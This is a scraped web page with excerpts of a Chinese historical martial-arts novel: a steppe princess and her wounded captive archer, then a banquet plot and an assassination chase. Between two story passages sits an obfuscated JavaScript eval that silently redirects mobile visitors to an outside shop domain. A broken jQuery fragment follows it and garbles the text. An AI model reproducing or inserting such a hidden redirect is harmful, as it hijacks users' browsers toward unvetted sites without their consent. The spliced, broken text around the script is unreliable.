羌厥军营,宝莉珠简单处理了自己右肩的箭伤,先往帐中探望七哥。军医虽止住了血,但人却还未醒来。
宝莉珠轻抚七哥面额,哀求道:“七哥你怎还不肯醒来?我今日替你出兵,见到了雾原军的头领封云,人人都说他英雄盖世,我看他也不过如此,智慧机警还不及你一半!若不是被那叫封彦文的箭术相助,我今日未必不能替你报仇!”
呼延冲莽撞入内,禀道:“公主,那封彦文晕死过去了,咱们果真要救?他可是雾原四太保!”
宝莉珠:“救,让军医务必救下!我留他还有大用处!”
为免兵士仇恨,私下杀了封彦文,宝莉珠犹豫着,还是起身出帐,与呼延冲同去。
呼延冲:“这四太保在雾原军中专管粮草工造,虽武艺一般,但是个人精,我们若将他救起,留在军中,恐怕后患无穷啊!”
宝莉珠:“如今我军最缺的便是粮草补给,只有留他活口,才能找到粮食!”
封彦文中了宝莉珠一箭,却并没有被伤到要害,军医喂过药后,本该逐渐苏醒,怎却反而晕得不省人事?宝莉珠检查过他的伤口,包扎得紧实,血也已止住,额头也并无高热,怎的就醒不来?
呼延冲在旁,疑虑道:“早听说这四太保是封云五义子中最弱的一个,平时战场上也没几个人瞧见他的样貌,看他这细皮嫩肉,体格恐怕还不如七王子,莫不是吃不消公主你这一箭,真要一命呜呼了!”
宝莉珠却发觉不对,他虽看上去白净瘦弱,但弯弓拉箭却是劲道十足,浑身筋骨奇强全在七哥之上,不过是刀剑不专才显得武艺不足罢了。
宝莉珠:“若他真那样不中用,雾原怎会将大后方的任务交给他?罢了,你们都先出去吧…”
呼延冲:“公主你还受着伤,就算他能替我们找到粮食,也不至于你亲自来照料!”
宝莉珠:“谁说我要照料他?!”
呼延冲等人不解,但也陆续退出。
宝莉珠回身对躺在床上的封彦文戏谑道:“人都退去了,你还不醒么!”
封彦文果然睁眼,笑道:“你竟是公主?草原上的女子果然与众不同。”
宝莉珠:“你等我来才肯醒,是有话要和我说?”
封彦文:“怎么敢,我只是射中你肩头,你却是要杀了我!”
宝莉珠:“我若要杀你,那支箭便不会射偏了,又何必费力将你驼回来?你也早知我不会杀你,才敢叫封彦邦先走,不是么?”
封彦文转头看她,她此时身着羌厥军装,右肩残箭拔出后,箭洞四周溢满了鲜血,她也不换衣,依然穿着,丝毫不在乎。披散的黑发盘了个高耸的发髻,顶在头顶,让她本来不高的个子看上去高了几分。草原女人虽然比中原粗犷,却也不至于装扮这般粗糙,她哪里像个公主,倒像个野孩子,比李如玉还野。
封彦文:“你真的是个公主?看你这年纪,阿史那羽是你的哥哥?你们两兄妹在草原上就这样不受待见?我倒有些理解你们为何死拼在这里了!”
他一个俘虏,讲话未免也太不敬。
宝莉珠用长刀掀开了他身上的被子,他此时赤着上身,只有伤口包扎着止血绷带,被她一掀,凉意袭身,他不禁抱住胸前,打起哆嗦。
封彦文:“看什么看,你好歹是个女人,就这样掀男人的被子!”
......
酒过半巡,席间几位红巾头目越发坐不住,不时瞧向段立文。
段立文随身侍卫不知附耳禀告了什么,段立文脸上得意一笑,摆了摆手,将侍卫散去,朝左拥右抱、佳人在怀的庞显走去,敬上一杯酒水:“我既知道了封知州也有心替庞统领向朝廷斡旋,也便没什么不放心的了,今夜酒稍喝多了些,这就告辞了。”
庞显吃下身边美人递送的一片熟肉,言语拦道:“诶~封知州昨日因我而受了重伤,今夜无法出来共饮,但他身边有一护卫,我却有意让国舅大人今夜也见上一见。他为我平定淄县,我有意将我那义女赐于他,国舅大人何不留下凑个热闹再走?”转而回头问左右:“他们还没回来?”
左右摇摇头。
段立文笑了笑:“呵呵,我早有听说,已备了份薄礼,恭贺令千金觅得佳婿啊!”而后挥手,先前遣去的侍卫便抬上一盆红玛瑙雕刻的牡丹花,雍容艳丽,惹得庞显身边女子们一片注目。
段立文:“久闻流苏姑娘国色天香,堪称人间绝色,与这花中牡丹必是相映生辉。”
庞显大悦,更要留客:“如此贵重之物,更要等我义女流苏回来亲自道谢才是!何况她今夜正是为接丞相手谕而去,国舅大人何不再等等,也好亲眼见证,了却一桩心事。”
段立文却似乎急着要走。
庞显干脆遣散一众女子,起身道:“今夜国舅大人是受我手下那几个红巾蠢材裹挟而来,实属受我连累啊。我虽不屑他们使这种伎俩,却也不能让国舅大人折面而归,不如等我给这几个蠢材说明白了再走吧!”而后朝左右吩咐了几句。
薛蕤在席间,见对面几个红巾头目被突然唤入庞显近前,自觉紧张起来,想了想,将郭勇拉到一边提点道:“大哥,统领稍后若唤你上前,你千万不可指摘红巾,要对他们显出些友好。”
郭勇:“你叫我向自己人道贺就罢了,怎还要给他们红巾好脸色?”
薛蕤:“大哥忘了统领今夜开宴时说的话?不管是不是作戏,至少眼下,统领要的是止戈休战,此时怎能再逼出来一个陈大?那几个红巾今夜硬来,也不过赌这一点可能。大哥在淄县一战扬名,若你能带头体恤红巾,必有表率之效,统领怎会不看在眼里?大哥可明白了?”
郭勇恍然大悟:“蕤弟,我看那陈大死在你手里倒一点不冤,你果真有军师之才!”
薛蕤急忙再次嘱咐:“请大哥千万莫在人前重提此事,我做那一夜狗头军师,不过只为保命。”
不知红巾头目跪在庞显座下说了些什么,庞显神色不耐烦,果然又命人来唤郭勇上前。
待郭勇被带到,庞显便故意将一柄长刀扔到那几个红巾头目脚边:“他郭勇就站在你们面前,你们想杀便杀,我庞显今夜就纵你们一次!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742918|137006||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那几个红巾头目惶然磕头,连声道:“属下方才之言,并无报复郭勇之意啊!”
庞显气得骂道:“你们几个千方百计挤进这场酒席,又在我面前连番诉苦叫屈,怎的,委屈冤枉你们的不是他郭勇,那是我庞显咯?!”
......
段立文只闻其声,却不见其人,这黑压压一层杀手,他哪里辨得出谁是谁,今夜恐怕要吃亏,大呼一声:“走!”
所剩沙月侍卫已不多,其中两人受伤较轻,各搀一边,奋力将段立文拉起,纵身翻跃,登墙踏梁而逃。
如玉追至屋顶,从背上取出弓矢,从容射出一箭,正中段立文左腿。段立文跌倒,而后即刻被扶起又逃。如玉再射一箭,又中他右腿,段立文瞬间瘫软,身旁索性一人将他背起,一人朝后抵挡冷箭。如玉紧追几步,又搭箭,一箭射中他身后侍卫的命门。
三箭连中,段立文自知纵是跑得再快也快不过封云的箭了,吓得尖叫:“封将军,饶我一命!”
如玉却再连发两箭,射穿他与前人胸口,两人应声掉地。
张弓射箭将肩头伤口又撕裂,如玉料他二人已无活口,指路给追上来的几名手下,让他们朝段立文落地处寻去,自己则脱下黑衣,跳下屋顶,忍痛朝宴席奔去。
月红与张守正已趁乱重回席间躲在一处,敖起则随紫巾一同挡杀在庞显近前,见如玉归来,两人对了个眼色,奋力朝那几个红衣刺客杀去,大喊:“封云在此,尔等何人,为谁拼杀!”
那几名刺客闻讯,各自对了个眼神,假意抵挡,却边打边退,而后齐齐收手,踏断桌而起,朝夜幕中飞逃而去。
这几人,如群蜂而至,又如劲风而散。
众人惊魂甫定,相顾左右,除了先前冲挡在庞显身前那位红巾头目无辜丧命,其余人虽有大小伤口,倒都无性命之忧。
薛蕤趁机,急忙上前将郭勇从桌角强行拽出,拍醒他:“大哥,没事了,振作点!”
如玉伤口汨汨流血,月红将张守正塞给敖起,急忙上前查看。
活着的几个红巾头目刚才奋战在前,此刻抱住死去的同伴,恸哭道:“不知何人,竟三番五次陷害,幸得今夜我等在此,亲身证明这就是栽赃啊!恳请统领为我们红巾做主!”
如玉在旁帮腔道:“没错,这些人竟故伎重施,根本不将庞统领放在眼中,为防再有第三次,今夜绝不可纵容姑息!”
庞显擦了一把衣上被溅到的鲜血,朝手下怒气冲冲:“毁我兴致!还不去追查!”
不久,一名紫巾亲卫回来报禀:“在府内茅房外找到了几个昏倒的红巾副将,都被扒了衣服。”
庞显:“带他们过来!”
正是先前因尾随薛蕤而半路被蒙面人弄晕的那几个红巾头目,此刻身上都仅剩内里一层亵衣,在夜风下冻得打颤,这几人刚被带上前,便连连喊冤:“统领救命,是段国舅要害人啊!”
庞显:“放屁!可是你们千方百计将国舅大人请来!”说罢,回头寻找段立文,却的确消失了一般,心下起了疑惑。